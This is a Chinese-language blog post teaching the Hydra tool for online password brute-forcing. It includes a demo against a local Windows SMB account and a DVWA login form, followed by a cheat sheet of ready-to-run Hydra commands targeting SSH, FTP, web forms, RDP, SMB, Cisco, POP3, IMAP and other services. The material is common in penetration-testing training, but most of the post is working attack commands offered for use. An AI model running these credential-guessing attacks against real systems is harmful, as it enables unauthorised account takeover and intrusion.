黑客破解工具Hydra在线爆破密码
作者:admin | 时间:2017-8-29 17:08:55 | 分类:黑客技术 隐藏侧边栏展开侧边栏
这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。
hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。
hydra 是一款强大的,在线密码破解工具。它支持Linux和Windows密码的破解,同时也支持许多服务的登录密码破解。除此之外,它还可以进行,基于表单登陆的密码破解。下面,让我们看看如何使用该工具。
官网个版本下载(部分地区打不开的自己翻墙)
Home:https://www.thc.org/thc-hydra/
Windows:https://github.com/maaaaz/thc-hydra-windows
Linux:https://github.com/vanhauser-thc/thc-hydra
更多版本工具获取 黑协十五周年纪念优盘里头有。https://shop260083730.taobao.com
首先,我们来看看hydra的帮助文档。终端输入命令:
hydra -h
我们可以看到他支持的破解服务非常多。例如:rdp,ftp,Cisco等。
现在,我以我物理机win10进行破解演示。我先win10上设置一个用户名为 admin 登录密码也为 admin 的用户。
现在回到Kali上。我用 nmap 对这台服务器上开放的端口进行扫描。输入命令:
nmap -p 1-1000 192.168.1.100
通过 nmap 的扫描,我们可以看到开放了很多危险端口。
现在,让我们尝试进行 smb 服务的破解。输入命令:
hydra -l admin -P pass.txt smb://192.168.1.100
-l: 用户名。
-P: 密码字典。
-t: 代表线程数。过大的线程,极易导致hydra的奔溃。
-vV: 显示详细过程
可以看到很快我们就获得了密码:admin admin 。
我们可以看到密码为12345678 。
hydra不仅支持命令操作,它还支持图形化界面。输入命令: xhydra 就可以打开它的图形界面了。操作和命令是一样的。
最后为大家介绍下表单的破解。我们以 DVWA为例。DVWA是以 post 方式进行提交的。我们输入以下命令:hydra -l admin -P pass.txt 192.168.30.128 http-post-form“/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php” -t 1 -vV
http-post-form :表单提交方式。
“/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php” 这一串代表的是post 提交时的数据。
S 表示成功登录时的特征。很快密码也被破解了出来。
密码: password 。
可以看出,用hydra破解表单密码是非常复杂的。因此,建议破此类密码可以用其它工具。
1、破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
4、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip
http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
5、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6、破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
7、破解cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8、破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
12、破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
作者:合天网安